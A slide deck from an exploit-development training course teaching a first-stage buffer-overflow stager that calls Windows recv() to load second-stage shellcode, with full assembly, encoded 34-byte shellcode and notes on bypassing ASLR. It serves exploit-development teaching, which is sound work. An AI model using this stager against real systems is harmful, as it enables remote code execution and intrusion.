EElliteDevs

YAKSAS CSC

Your Guardian in the Cyber World

YCSC Lab

Exploitation Basics

Limited Buffer Space Part 6.1

Uday Mittal

OSCP, CISSP, CISA, CISM

https://yaksas.in

Assumptions

- Knowledge of
  - Assembly level language
  - Kali Linux
  - BooFuzz
  - Immunity Debugger

What to do if I need to learn above?

- Check out the resources mentioned at the end of this video

Module Structure

- Introduction
- Fuzzing
- PoC Creation
- Controlling the Execution
- Bad Character Analysis
- Cracking the shell

First stage payload

- Analyse the binary to identify if there is any reusable code or function
- Figure out a way to use this code or function

First stage payload

- Use recv() function to receive second stage payload shellcode

recv function

12/05/2018 • 8 minutes to read

The **recv** function receives data from a connected socket or a bound connectionless socket.

Syntax

C++ Copy

```
int recv(
  SOCKET s,
  char   *buf,
  int    len,
  int    flags
);
```

Source: https://docs.microsoft.com/en-us/windows/desktop/api/winsock/nf-winsock-recv

First stage payload

- Requirements
  - Function location
  - Parameters
    - Socket Descriptor (can be hardcoded or picked-up from memory)
    - Buffer location (after our first stage shellcode)
    - Buffer length (> 512 bytes)
    - Flags
  - Align stack to be positioned above our buffer
  - A clever way to bypass ASLR

First stage payload

- Flow of events
  - Align ECX with the location of socket descriptor
  - Align stack to be positioned above our buffer
  - Push function arguments in reverse order
    - Push flags
    - Push buffer length
    - Push buffer location
    - Push socket address
  - Load function address in EAX
  - Call function (EAX)

First stage payload

Assembly

```
;Align ECX
PUSH ESP
POP ECX
ADD CX,188

;Align Stack
SUB ESP,50

;Push Function
 Arguments
XOR EBX,EBX
PUSH EBX
XOR EDX,EDX
ADD DH,2
PUSH EDX
ADD AL,42
PUSH EAX
PUSH DWORD PTR DS:[ECX]

;Load function address
MOV EAX,40252C11
SHR EAX,8
CALL EAX
```

Shellcode (34 bytes)

```
\x54\x59\x66\x81\xC1\x88\x01\x83\xEc\x50\x33\xDB\x53\x33
\xD2\x80\xC6\x02\x52\x04\x42\x50\xFF\x31\xB8\x11\x2C\x25
\x40\xC1\xE8\x08\xFF\xD0
```

Learning Resources

- **Kali Linux** – Kali Linux Revealed by Offensive Security (https://www.kali.org/download-kali-linux-revealed-book/)
- **Metasploit** - Metasploit: The Penetration Tester's Guide by David Kennedy, Jim O'Gorman, Devon Kearns, Mati Aharoni
- **Assembly Language** – Assembly Language Step by Step by Jeff Duntemann
- **BooFuzz** - https://boofuzz.readthedocs.io/en/latest/
- **Immunity Debugger** - Immunity Debugger basics (https://sgros-students.blogspot.com/2014/05/immunity-debugger-basics-part-1.html)
- **Exploit Development** – Fuzzy Security (https://www.fuzzysecurity.com/tutorials.html)

YAKSAS CSC

Your Guardian in the Cyber World

Thank you ☺

https://yaksas.in

Yaksas CSC

@yaksas443